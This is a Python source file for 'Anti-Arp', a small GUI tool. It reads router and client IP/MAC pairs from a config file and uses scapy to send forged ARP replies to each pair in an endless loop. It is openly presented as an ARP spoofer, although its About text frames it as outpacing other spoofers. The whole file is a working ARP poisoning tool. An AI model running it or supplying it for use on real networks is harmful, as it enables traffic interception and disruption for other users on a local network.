anti_arp.py

#!/usr/bin/env python3

"""Easy multiple arp spooferinator. See LICENSE.txt for copyright"""

import ctypes
from gooey import Gooey
from gooey import GooeyParser
import logging
import os
from signal import SIGINT, signal
import sys
from scapy.all import ARP, send


# https://stackoverflow.com/questions/1026431/cross-platform-way-to-check-admin-rights-in-a-python-script-under-windows/1026626#1026626
def is_admin():
    """Checks if the program is running as admin"""
    logging.debug("Checking if running as admin...")
    try:
        logging.info("UNIX check...")
        return os.getuid() == 0
    except AttributeError:
        logging.info("UNIX check failed! Fallback to DOS check.")
        return ctypes.windll.shell32.IsUserAnAdmin() != 0


# https://www.devdungeon.com/content/python-catch-sigint-ctrl-c
def handler(signal_received, frame):
    """Handles SIGINT gracefully"""
    # Handle any cleanup here
    logging.info("SIGINT received")
    logging.debug(signal_received)
    logging.debug(frame)
    print('SIGINT or CTRL-C detected. Exiting gracefully')
    sys.exit(0)


def read_config(filename):
    """Reads and parses config file with format \"IP MAC\" with the first line being the router"""
    logging.info("Opening config file %s", (filename))
    config_file = open(filename, "r")
    logging.info("Opened config file %s", (filename))
    output = []
    lines = config_file.read().splitlines()
    logging.info("Read config")
    logging.debug(lines)
    for line in lines:
        output.append(line.split(' '))
    config_file.close()
    logging.debug(output)
    return output


def send_packets(router_ip, client_ip, router_mac, client_mac, dry):
    """Sends ARP packets to router and client"""
    arpspoofed = ARP(op=2, psrc=router_ip, pdst=client_ip, hwdst=router_mac)
    if not dry:
        send(arpspoofed)
    logging.debug(arpspoofed)
    arpspoofed = ARP(op=2, psrc=client_ip, pdst=router_ip, hwdst=client_mac)
    if not dry:
        send(arpspoofed)
    logging.debug(arpspoofed)


@Gooey(
    program_name='Anti-Arp',
    menu=[
        {'name': 'file', 'items': [{
            'type': 'AboutDialog',
            'menuTitle': 'About',
            'name': 'Anti-Arp',
            'description': 'Sends out ARP packets faster than others can make \'em',
            'version': '0.0.1',
            'copyright': '2020',
            'website': 'https://github.com/9p4/anti-arp',
            'developer': 'https://github.com/9p4',
            'license': 'MIT'
        }]
    }]
)

def main():
    """Main function"""

    parser = GooeyParser()
    parser.add_argument(
        "config_file",
        help="config file with format \"IP MAC\" without quotes and with the router on line one",
        widget="FileChooser"
    )
    parser.add_argument(
        "--dry",
        help="dry run (don't send packets)",
        action="store_true",
        widget="BlockCheckbox"
    )
    parser.add_argument(
        "--assume-root",
        help="ignore the \"we\'re not running as root\" warning",
        action="store_true",
        widget="BlockCheckbox"
    )
    parser.add_argument(
        "--verbose", "-v",
        help="detailed output",
        action="count",
        default=0
    )
    args = parser.parse_args()
    if not args.assume_root and not is_admin():
        logging.critical("This program needs to be run as administrator for raw socket privileges")
        print("This program needs to be run as administrator for raw socket privileges")
        sys.exit(1)
    numeric_level = max((5 - args.verbose) * 10, 10)
    print(numeric_level)
    if not isinstance(numeric_level, int):
        raise ValueError('Invalid log level')
    logging.basicConfig(level=numeric_level)
    config = read_config(args.config_file)
    logging.debug(config)
    # The important part.
    logging.info("Sending packets...")
    while True:
        for i in range(1, len(config)):
            send_packets(config[0][0], config[i][0], config[0][1], config[i][1], args.dry)


if __name__ == '__main__':
    signal(SIGINT, handler)
    main()